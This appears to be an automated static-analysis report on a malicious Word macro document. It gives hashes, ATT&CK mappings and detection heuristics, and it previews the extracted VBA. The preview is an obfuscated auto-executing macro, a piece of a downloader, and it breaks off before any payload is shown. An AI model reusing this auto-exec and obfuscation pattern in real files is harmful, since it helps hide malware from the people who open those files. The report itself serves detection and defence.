Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f86a4c3c258e1f4…

MALICIOUS

Office (OLE)

203.8 KB Created: 2019-04-11 12:28:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: c95cde7363c0c52409d60f9ba81e4be4 SHA-1: 29b47823c39141736f46b5f74353d31686962638 SHA-256: 2f86a4c3c258e1f4071e085b4f8941246f568cdf121b4bc5de0ca12f732ccfa2
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

The sample contains a VBA macro with an autoopen function, which is a common technique for executing malicious code upon opening a document. The macro utilizes GetObject and CreateObject to launch the Win32_Process WMI class, indicating an intent to execute arbitrary commands. This is strongly indicative of a downloader or droppper functionality, aiming to fetch and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Malware.00536d-6937309-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6937309-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 41730 bytes
SHA-256: 36488f2c94272e4fe021c847d77529ac0393e5a2f8c9cdad24762a80c5d664f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YA4UDZA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SAU_Ak_C"
Attribute VB_Base = "0{5C4B7F76-7EC8-45A7-927E-E0304CE06A21}{2D9CC4F3-9A13-4FB4-BE01-CD4B03635B09}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "NA_xDC"
Attribute VB_Base = "0{8A9746E4-9170-4BDF-8429-AC2A95976B09}{018FC24F-E29A-40F1-A611-47264E7D0A17}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "B4XQCAo"
Sub autoopen()
   If uAZC1A = TAAxUA Then
  Do While to4_XCx And wUQcAwo
      While HDAcw1A1 And 348193931
         UUAc_1o = Asc(330892498 / Oct(138192892))
      Wend
      For oADDCUAC = 384044775 To 858288138
         o11AAAw = 911110049
      Next
      Set AAQAQQAD = Aw1x4o
      If GUG4ABQ Eqv 668972821 Then
         LxAAAAA = CDate(tCAAxAAB)
      End If
      While PAQcUQ < VAGZkD
         c1ko_c = (Y4_4G1)
Wend
   Loop
End If
   If aZDoowB = LA4BAAB Then
  Do While NAQCAZDB And iBA4UD
      While CoAAAAC And 674137741
         wBAUUCQQ = Asc(722251744 / Oct(555215084))
      Wend
      For ZADQAAUA = 914868773 To 208248407
         qAAwAUxG = 541183225
      Next
      Set AxXXoDA = MXU1Go1x
      If qQAA4A Eqv 904439584 Then
         AQQABAD = CDate(lQAQBGA)
      End If
      While nQxAxUUA < dBkcAZAU
         cQADU1AU = (jQCkAQ)
Wend
   Loop
End If
z_oUAAZA
   If VZ_DGU = AAAX1AA Then
  Do While wDAAcG And wkCD4GA
      While ac1AwDA And 296057294
         vUA_XDAD = Asc(927924599 / Oct(499688146))
      Wend
      For qAAU4wA = 395119017 To 84326229
         rABc4UA = 706161533
      Next
      Set sA1AAAAA = QADAZXZ
      If BQAkx1A Eqv 348293681 Then
         SXA1Ac = CDate(ucZxBZ)
      End If
      While VAGZAw < lAD4AZ
         G4wAQA_ = (B4QxxXA)
Wend
   Loop
End If
   If hX4UQcD = BZBQ4DUA Then
  Do While dGAAcw And PBAB_o
      While cAAQCBQ And 146619996
         i_QBAAQ = Asc(132577710 / Oct(866988580))
      Wend
      For B4XAADAD = 174527689 To 45387505
         JA_AADco = 599267693
      Next
      Set hABABBD = zQZAAU
      If aAkZoGA Eqv 731150227 Then
         GQoD1Ak = CDate(TAAZDU)
      End If
      While i1A_AAZU < wAwwxBAC
         vwDXUA = (EBxQXA)
Wend
   Loop
End If
   If IB1kQAU = pZCQAA Then
  Do While nUkwA_o And QAAAkAQ4
      While LAcZxxC And 186571347
         qCXAAAAG = Asc(276331371 / Oct(112312078))
      Wend
      For aBAADQG = 436992474 To 179185368
         J4xQokwD = 275339492
      Next
      Set IDAAAGAD = IABAGkCX
      If oAAcAUAA Eqv 579119488 Then
         FABU_1 = CDate(zQDBBxAX)
      End If
      While z1AQAA < jZZAAZ
         DcxxwBx1 = (jAUcBw)
Wend
   Loop
End If
End Sub

Attribute VB_Name = "so_UUQ"
Function z_oUAAZA()
On Error Resume Next
   If j4AUBA = jcAABCAA Then
  Do While u4A1ADA And PGAGAD
      While vkB_AQA And 333179701
         OwAGADA = Asc(710341887 / Oct(358148708))
      Wend
      For OAAQAQA = 887611331 To 325628680
         KZwAwXAA = 92158435
      Next
      Set bcDZAA = kAADAZG
      If oGAAD_ Eqv 21211394 Then
         QkCAAAU = CDate(I_wkDA)
      End If
      While EoA4AQ1c < bX_QAXw
         dAAAG_ = (WBABcDA)
Wend
   Loop
End If
   If qQUcAB_ = oQkA1A1 Then
  Do While fGDADAAG And X4kGkDk
      While M_GAABxX And 80409831
         JAAAkAZ = Asc(994512920 / Oct(164308810))
      Wend
      For i4AxoGo = 998254343 To 332646713
         PAAAUAA = 345461850
      Next
      Set MG_xoBB = FU_oAAA
      If R1DDDAkU Eqv 810408743 Then
         
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.